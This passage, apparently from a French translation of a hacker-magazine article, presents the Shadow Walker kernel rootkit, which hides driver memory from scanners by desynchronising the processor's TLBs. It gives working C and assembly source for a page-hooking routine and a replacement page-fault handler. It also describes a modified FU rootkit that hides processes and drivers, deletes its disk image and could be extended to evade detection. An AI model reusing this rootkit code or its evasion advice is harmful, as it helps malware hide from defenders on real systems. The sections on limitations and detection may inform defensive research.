l'entrée de l'ITLB est supprimée du cache). Malheureusement, dans le cas des données, on ne peut pas utiliser cette désynchronisation. Il n'y a qu'un DTLB et en conséquence, nous devont le maintenir vide si nous voulons récupérer et filtrer les accès aux données. Le résultat principal est que nous obtenons un défaut de page par accès aux données. Ce n'est pas un gros problème si nous voulons cacher un driver spécific qui soit soigneusement conçu pour utiliser un minimum de données globales, mais la pénalité de performances serait formidable si nous voulions cacher une page fréquement demandée. Pour le camouflage des données, nous avons utilisé une approche basée sur un protocol entre le driver camouflé et la gestion de la mémoire. On l'a fait pour montrer comment on peut faire pour cacher des données globales dans un rootkit en driver. Pour permettre à l'accès mémoire d'être effectué, le DTLB est chargé par le gestionnaire de défaut de pages. Pour améliorer le filtrage correcte des accès mémoires, le driver doit cependant vider immédiatement le DTLB ; pour éviter qu'un autre code voulant accéder à cette zone mémoire ne récupère la mauvaise page. Le protocol pour accéder à des données d'une page cachée est le suivant : 1. Le driver monte l'IRDL au DISPATCH_LEVEL (pour être sur qu'aucun autre code ne récupère l'exécution, ce qui lui permettrait de voir les données "cachée" au lieu des données "faussées"). 2. Le driver doit explicitement vider les entrées du TLB pour les pages contenant des variables camouflées en utilisant l'instruction invlpg. Au cas où un autre processus ait essayé d'accéder aux pages contenant nos données et ait reçu les fausses pages (en fait, nous ne voulons pas récupérer la mauvaise correspondance qui pourrait toujours résider dans le TLB, donc, nous le vidons pour être sûrs). 3. Le driver est autorisé à faire des accès mémoires. 4. Le driver doit explicitement flusher l'entrée du TLB pour les pages contenant les variables camouflées en utilisant l'instruction invlpg (c'est à dire pour que la correspondance "réelle" ne reste pas dans le TLB. Nous ne voulons pas qu'un autre driver ou un autre processus ne récupère les pages cachées, donc, nous le vidons.). 5. Le driver remet l'IRQL au niveau précédant l'appel au driver. Les restrictions suivantes s'appliquent aussi : - Aucune donnée globale ne peut être passée aux fonctions de l'API du noyau. Quand on appelle une API, les données globales doivent être copiées localement, dans la pile, et passées aux fonctions de l'API (si l'API veut accéder aux données camouflées, elle va recevoir les fausses données et fonctionnera mal). Ce protocol peut être efficacement implémenté dans le driver camouflé en copiant toutes les données globales dans des variables locales au début de la procédure et de les remettre en place à la fin. Puisque les données sur la pile sont en constante évolution, il est improbable qu'on puisse faire confiance à une signature prise à partir des données dans la pile. De cette manière, on a pas besoin de générer un défaut de page à chaque accès mémoire. En général, on a besoin que d'un défaut de page, au début de la procédure et un défaut pour remettre les données à leur place à la fin. Il est vrai que ça ne prend pas en compte des cas plus complexes avec des accès multithreadés et de la synchronisation. Une approche alternative à l'utilisation d'un protocole entre driver et gestionnaire de défaut de pages serait d'exécuter "pas à pas" les instructions générant les accès mémoires. Ceci serait moins encombrant pour le driver et permettrait toujours au gestionnaire de défaut de page de garder le controle du DTLB (c'est à dire le vider après l'accès mémoire pour qu'il reste vide). ----[ 3.3 - Travaux en rapport Ironiquement, la technologie de camouflage de données discutée dans cet article est dérivée d'un schéma de protection de débordement de pile existant et connu sous le nom de PaX. Et donc, nous avons montré une application potentielle offensive d'une technique originellement défensive. Bien que très similaire (prendre l'avantage de l'architecture de deux TLB du Pentium), il y a quelques différences subtiles entre PaX et l'utilisation du rootkit de notre technologie. Tandis que notre camouflage de rootkit met l'accent sur la sémantique "exécution normale, lecture/écritures diverties", PaX met l'accent sur la sémantique "lecture/écritures normales, aucune exécution". Ceci permet à PaX de fournir un support logiciel pour une pile non-exécutable sous architecture IA-32, contrariant ainsi une large classe d'attaques basées sur les buffers overflows. Quand un système protégé par PaX détecte une tentative d'exécution sur une zone en lecture/écriture seulement, il termine le processus fautif. Un support pour des mémoires non-exécutables a donc été ajouté au format des entrées des tables des pages pour certains processeurs incluant IA-32 et Pentium 4. À l'opposé de PaX, notre gestionnaire de rootkit permet une exécution normale tout en divertissant les accès en lecture/écriture vers les pages cachées en leur fournissant des fausses pages. Enfin, on peut noter que PaX utilise le bits utilisateur/superutilisateur pour générer les défauts de pages nécessaires à sa protection. Ceci limite la protection aux pages utilisateurs, ce qui est inintéressant dans notre cas des rootkits noyaux. Et donc, nous utilisont le bits présent/nonprésent du PTE dans notre implémentations. ----[ 3.4 - Implémentation de la preuve de concept Notre implémentation courante utilise une version modifiée du rootkit FU et un nouveau gestionnaire de défaut de pages appellé Shadow Walker. Puisque FU altère des structures de données du noyau pour cacher des processus et n'utilise aucun crochet dans le code, nous n'avons besoin que de cacher le driver FU en mémoire. Le noyau gère chaque processus qui fonctionne sur le système en le stockant dans une liste chainée interne. FU déconnecte de cette liste les processus qu'il veut cacher. ------[ 3.4.a - Rootkit FU modifié Nous avons modifié la version de FU disponible à rootkit.com. Pour le rendre plus discret, nous avons supprimé sa nécessité d'un programme d'initialisation en mode utilisateur. Maintenant, toutes les informations d'installation sous la forme d'offsets dépendant de l'OS sont changés par des fonctions au niveau noyau. En supprimant la partie en mode utilisateur, nous avons supprimé le besoin d'un lien symbolique vers le driver et le besoin de créer un périphérique fonctionnel, ces deux choses étant facilement détectables. Une fois FU lancé, son image sur le disque est supprimée pour que des scans d'antivirus sur le système de fichier ne le trouve pas. Vous pouvez aussi imaginer que FU soit lancé à partir d'un exploit noyau et chargé en mémoire directement, évitant toute détection de son image sur le disque. Aussi, FU cache tous les processus dont le nom est préfixé par _fu_, sans considération de son ID (PID). Nous créons un thread système qui scan continuellement la liste des processus à la recherche du préfixe. FU et le crochet mémoire, Shadow Walker, on fonctinné collusion ; et donc, FU se base sur Shaqow Walker pour supprimer un driver de la liste chainée des drivers en mémoire et du répertoire des driver du Windows Object Manager. ----[ 3.4.b - Moteur de détournement de la mémoire de Shadow Walker Shadow Walker consiste en un l'installation d'un module de détournement de la mémoire et un nouveau gestionnaire de défaut de pages. Le module de détournement de mémoire prend l'adresse virtuelle des pages à camoufler en paramètre. Il utilise les informations présentes dans l'adresse pour faire quelques vérifications de cohérence. Shadow Walker installe ensuite le nouveau gestionnaire de défaut de pages en détournant l'interruption int 0E (s'il n'a pas encore été installé) et insère les informations sur la page camouflée dans une table de hashage pour pouvoir les retrouver rapidement lors de défauts de pages. Enfin, la PTE de cette page est parquée comme non présente et l'entrée dans le TLB pour cette page est supprimée. Ceci garanti que les prochains accès à cette page seront filtré par notre nouveau gestionnaire. /************************************************************************* * HookMemoryPage - Détourne une page mémoire en la marquant non présente * et vide les entrées du TLB. Ceci garantis que tous les * prochains accès mémoire génèreront des défauts de pages * et seront gérés par le gestionnaire de défaut de pages. * * Paramètres : * PVOID pExecutePage - Pointeur vers la page qui sera utilisée pour * les accès en exécution * * PVOID pReadWritePage - Pointeur vers la page d'où charger les * informations dans la DTLB lors d'un accès * mémoire * * PVOID pfnCallIntoHookedPage - Une procédure qui sera appellée dans * le gestionnaire pour charger l'ITLB * lors d'accès en exécution. * * PVOID pDriverStarts (optional) - Donne l'adresse de base de la zone * valide des données accédées depuis * la page camouflée. * * PVOID pDriverEnds (optional) - Donne l'adresse de fin de la zone * valide des données accédées depuis * la page camouflée. * Retourne - rien **************************************************************************/ void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage, PVOID pfnCallIntoHookedPage, PVOID pDriverStarts, PVOID pDriverEnds ) { HOOKED_LIST_ENTRY HookedPage = {0}; HookedPage.pExecuteView = pExecutePage; HookedPage.pReadWriteView = pReadWritePage; HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage; if( pDriverStarts != NULL) HookedPage.pDriverStarts = (ULONG)pDriverStarts; else HookedPage.pDriverStarts = (ULONG)pExecutePage; if( pDriverEnds != NULL) HookedPage.pDriverEnds = (ULONG)pDriverEnds; else { //mis par défaut si pDriverEnds n'est pas défini if( IsInLargePage( pExecutePage ) ) HookedPage.pDriverEnds = (ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE; else HookedPage.pDriverEnds = (ULONG)HookedPage.pDriverStarts + PAGE_SIZE; }//end if __asm cli // désactive les interruptions if( hooked == false ) { HookInt( &g_OldInt0EHandler, (unsigned long)NewInt0EHandler, 0x0E ); hooked = true; }//end if HookedPage.pExecutePte = GetPteAddress( pExecutePage ); HookedPage.pReadWritePte = GetPteAddress( pReadWritePage ); //Insère la page camouflée dans la liste PushPageIntoHookedList( HookedPage ); //Active les fonctionnalités globale de la page EnableGlobalPageFeature( HookedPage.pExecutePte ); //Marque la page non présente MarkPageNotPresent( HookedPage.pExecutePte ); // Continue et vide les TLB. Nous voulons garantir que tous les // Prochains accès vers cette page camouflée soient filtrés // Par notre nouveau gestionnaire. __asm invlpg pExecutePage __asm sti // réactive les interruptions }//end HookMemoryPage Les fonctionnalités du gestionnaire de défaut de pages sont relativement intuitives malgré la complexité apparente de la méthode. Ses fonctions principales sont de déterminer si un défaut de page donné vient d'une page camouflée, de résoudre le type d'accès et de charger le TLB approprié. Et donc, le gestionnaire a deux chemins d'exécutions de base. Si la page n'est pas camouflée, il fait suivre la page au gestionnaire du système d'exploitation. Ceci est déterminé aussi tôt et rapidement que possible. Les défauts venant d'adresses du mode utlisateur ou quand le processeur est en mode utilisateur sont immédiatement transférés. Le sort des accès du noyau est aussi très vite déterminé via une recherche dans une table de hashage. Autrement, une fois qu'on sait que la page est camouflée, le type d'accès est vérifié et on continue vers le code de chargement du TLB approprié (Les accès en exécution génèreront un chargement dans l'ITLB tantdis que les accès en Lecture/écriture concerneront le DTLB). Le processus de chargement du TLB est le suivant : 1. La correspondante vers le cadre physique approprié est chargé dans la PTE pour l'adresse fautive. 2. La page est temporairement marquée présente. 3. Pour un chargement en DTLB, on fait une lecture dans la page. 4. Pour un chargement en ITLB, un fait un call vers cette page. 5. La page est remarquée comme non présente. 6. L'ancienne correspondance pour la page est restaurée dans la PTE. Après le chargement du TLB, le contrôle est directement retourné au code fautif. /************************************************************************** * NewInt0EHandler - Gestionnaire de défaut de page pour le moteur de * détournement de pages (càd. le coeur de tout ce * truc ;) * * Paramètres - aucun * * Retourne - rien * *************************************************************************** void __declspec( naked ) NewInt0EHandler(void) { __asm { pushad mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode test edx, 0x04 //si le processeur est en mode utilisateur jnz PassDown //on passe mov eax,cr2 //adresse virtuelle fautive cmp eax, HIGHEST_USER_ADDRESS jbe PassDown // on ne détourne pas les pages utilisateur // on passe //////////////////////////////////////// //Est-ce une page détournée ? ///////////////////////////////////////// push eax call FindPageInHookedList mov ebp, eax // pointeur vers la structure HOOKED_PAGE cmp ebp, ERROR_PAGE_NOT_IN_LIST jz PassDown // ce n'est pas une page détournée /////////////////////////////////////// //NOTE : Ici, nous savons que c'est une // page détournée. Nous ne détournons // aussi que des pages noyaux qui sont // soit non paginées, ou bloquées en // en mémoire. Donc, nous assumons que // toutes les tables de pages sont // internes pour résoudre l'adrese. ///////////////////////////////////// mov eax, cr2 mov esi, PROCESS_PAGE_DIR_BASE mov ebx, eax shr ebx, 22 lea ebx, [esi + ebx*4] // ebx = pPTE pour les grandes pages test [ebx], 0x80 // est-ce une grosse page ? jnz IsLargePage mov esi, PROCESS_PAGE_TABLE_BASE mov ebx, eax shr ebx, 12 lea ebx, [esi + ebx*4] //ebx = pPTE IsLargePage: cmp [esp+0x24], eax // est-ce une tentative d'exec ? jne LoadDTLB //////////////////////////////// // C'est une exécution, // chargeons l'ITLB. //////////////////////////////// cli or dword ptr [ebx], 0x01 // marque comme présent call [ebp].pfnCallIntoHookedPage // charge l'itlb and dword ptr [ebx], 0xFFFFFFFE // marque non présente sti jmp ReturnWithoutPassdown //////////////////////////////// // C'est un accès Lecture/écriture // Charge le DTLB /////////////////////////////// /////////////////////////////// // Vérifier que l'accès vient // d'une page camouflée. /////////////////////////////// LoadDTLB: mov edx, [esp+0x24] //eip cmp edx,[ebp].pDriverStarts jb LoadFakeFrame cmp edx,[ebp].pDriverEnds ja LoadFakeFrame ///////////////////////////////// // Si l'accès vient d'une page cachée // alors continuons. le code dans la // page cachée suivra le protocole // pour vider la table après ses accès. //////////////////////////////// cli or dword ptr [ebx], 0x01 //marque présente mov eax, dword ptr [eax] //charge le DTLB and dword ptr [ebx], 0xFFFFFFFE //marque non présente sti jmp ReturnWithoutPassdown ///////////////////////////////// // On veut fausser cet accès // notre code ne le génère pas. ///////////////////////////////// LoadFakeFrame: mov esi, [ebp].pReadWritePte mov ecx, dword ptr [esi] //ecx = PTE de la //page lue/écrite //remplacer le cadre par le faux mov edi, [ebx] and edi, 0x00000FFF //garde les 12 bits de poid faible //du PTE de la page fautive and ecx, 0xFFFFF000 //isole l'adresse physique du PTE //de la fausse page or ecx, edi mov edx, [ebx] //sauve le PTE précédant, //pour le remetre plus tard cli mov [ebx], ecx //remplace le cadre physique par //le faux cadre //charge le DTLB or dword ptr [ebx], 0x01 //marque la page présente mov eax, cr2 //adresse virtuelle fautive mov eax, dword ptr[eax] //fait un accès mémoire and dword ptr [ebx], 0xFFFFFFFE //remarque non présente //Finalement, restaure le PTE original mov [ebx], edx sti ReturnWithoutPassDown: popad add esp,4 iretd PassDown: popad jmp g_OldInt0EHandler }//end asm }//end NewInt0E --[ 4 - Limitations connues et impact sur les performances Puisque notre implémentation de rootkit n'est qu'une preuve ce concepts plus quun outil complet d'attaque, il a un grand nombre de limitations dans son implémentation. La plupart des fonctionnalités peuvent être ajoutées, si quelqu'un veut le faire. Tout d'abord, rien n'est fait pour supporter le multithreading ou des systèmes multi-processuers. Ensuite, il ne supporte pas le mode d'adressage du Pentium PAE qui étend le nombre de bits de l'adresse de 32 à 36. Enfin, la conception est seulement faite pour camoufler des pages de 4K en mode noyau (c'est à dire dans les 2GB les plus haut de l'espace d'adressage. Nous mentionnons la limitation des 4K parce qu'il y a actuellement des problèmes techniques qui implique de cacher des pages de 4Mb sur lesquelles ntoskrnl se base. Cacher les pages contenant ntoskrnl serait une extension notable. En terme de performances, nous n'avons pas fait de tests rigoureux, mais subjectivement parlant, il n'y a pas d'impact visible après que le rootkit et le moteur de détournement de la mémoire soit installés. Pour optimiser les performances, comme déjà dit, le code et les données devraient rester sur des pages séparées et l'utilisation de données globales doit être minimisé pour limité l'impact sur les performance quand on veut activer à la fois le camouflage ce pages et de données. --[ 5 - Détection Enfin, il y a quelques faiblesses évidentes qui doient être gérées pour éviter la détection. Notre implémentation de la preuve de concept actuelle ne les considère pas, cependant, nous les mentionnons dans le but d'être complets. Puisque nous devont être capables de faire la différence entre les défauts de pages normaux et ceux relatifs au détournement de la mémoire, nous imposont la nécessité que les pages camouflées soient dans une mémoire non paginée. En clair, les pages non présentes dans la mémoire non paginée présentent une anomalie. Que ça soit ou non un critère suffisent pour lancer une alarme de rootkit est discutable. Verrouiller la table des pages en utilisant une API comme MmProbeAndLockPages est surement plus discret. La faiblesse suivante réside dans le fait qu'on a besoin de cacher la présence du gestionnaire de défaut de page. Puisque les pages dans lesquelles le gestionnaire se trouve ne peuvent pas être marquées comme non présentes (à cause d'un problème évident de code ré-entrant récursif), il sera vulnérable à un simple scan de signature et doit être obscursi en utilisant des méthodes plus traditionnelles. Puisque cette procédure est petite et écrite en assembleur, et ne se base sur aucune API noyau, le polymorphisme est une bonne solution. Un faiblesse relative vient de la nécessité de cacher la présence du détournement de l'IDT. Nous ne pouvons pas utiliser notre technique de détournement de la mémoire pour cacher les modifications à la table de description des interruption [NDT : IDT - Interrupt Description Table] pour des raisons similaires. Bien qu'on puisse détourner l'interruption de défaut de page par un code en dur [NDT : an inline hook] plutôt qu'une modification directe de l'IDT, placer un détournement dans la page contenant le gestionnaire de l'OS de l'INT 0E est problématique et les détournement en dur dans le code sont facilement repérables. Joanna Rutkowska a proposé d'utiliser le registre de débug pour cacher les détournement de l'IDT [5], mais Edgar Barbosa a montré que ce n'est pas une solution complètement efficace [12]. C'est du au fait que le registre de débug est protegé en virtuel, contrairement aux adresses physiques. On pourrait simplement faire correspondre le cadre physique contenant l'IDT vers une nouvelle page virtuelle et y faire des lectures/écritures comme on veut. Shadow Walker est victe victime de ce type d'attaque, vu comment il est conçu, sur l'exploitation des adresses virtuelles plutôt que les adresses physiques. Malgré ces faiblesses admises, la plupart des scanneurs commercieux font tout de même des scan de mémoire virtuelle plutôt que de la mémoire physique et seront impuissants contre des rootkits comme Shadow Walker. Enfin, Shadow Walker est insidieux. Même si un scanner détect sa présence, il ne sera d'aucune utilité pour le retirer du système. Admetons qu'ils réussisent à écraser le détournement avec le gestionnaire de défaut de page original de l'OS, par exemple, ça va faire un BSOD [NDT : Blue Screen Of the Death] puisque qu'il y aura certains défauts de pages généré par les pages camouflées que ni l'anti-rootkit, ni l'OS ne puisse gérer. --[ 6 - Conclusion Shadow Walker n'est pas un outil d'attaque très bien armé. Ses fonctionnalités sont limitées et il ne fait aucun effort pour cacher ses détournements de l'IDT ou du code de gestion des défauts de pages. Il ne fourni qu'une implémentation de preuve de concept pratiquable de camouflage de la mémoire. En inversant l'implémentation logicielle défensive de la mémoire non-exécutable, nous avont montré qu'il est possible de fausser la vue de la mémoire virtuelle qu'a l'OS ou toute application de scan de la mémoire. Grâce à son exploitation de l'architecture du TLB, Shadow Walker est transparent et extrêmement léger d'un pointe de vue des pénalités de performances. Ces caractéristiques le rendront sans aucun doute très attractif pour les virus, vers et spyware en plus des rootkits. --[ 7 - References 1. Tripwire, Inc. http://www.tripwire.com/ 2. Butler, James, VICE - Catch the hookers! Black Hat, Las Vegas, July, 2004. www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/ bh-us-04-butler.pdf 3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12 4. Holy Father, Hacker Defender. http://hxdef.czweb.org/ 5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder 2. January, 2004. 6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows Kernel. July, 2005. 7. B. Cogswell and M. Russinovich, RootkitRevealer, available at: www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml 8. F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005): www.fsecure.com/blacklight/ 9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0 http://www.eeye.com/~data/publish/whitepapers/research/ OT20050205.FILE.pdf 10. Chong, S.K. Windows Local Kernel Exploitation. http://www.bellua.com/bcs2005/asia05.archive/ BCSASIA2005-T04-SK-Windows_Local_Kernel_Exploitation.ppt 11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni: Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security Symposium 2004. 12. Barbosa, Edgar. Avoiding Windows Rootkit Detection http://packetstormsecurity.org/filedesc/bypassEPA.pdf 13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003 http://www.invisiblethings.org/papers/chameleon_concepts.pdf 14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth Edition. --[ 8 - Remerciements Mes remerciements vont à Joanna Rutkowska pour son papier sur le projet Chamelon car il a été l'une des inspiration de ce projet, à l'équipe de PAX pour nous avoir montré comment désynchroniser le TLB dans leur implémentation logicielle de mémoire non-exécutable, à Halvar Flake pour notre discussion initiale sur les idées de Shadow Walker, et à Kayaker pour m'avoir aidé à beta-tester et débugé du code. Nous aimerions saluer enfin tous les contributeurs de rootkit.com :) |=[ EOF ]=---------------------------------------------------------------=|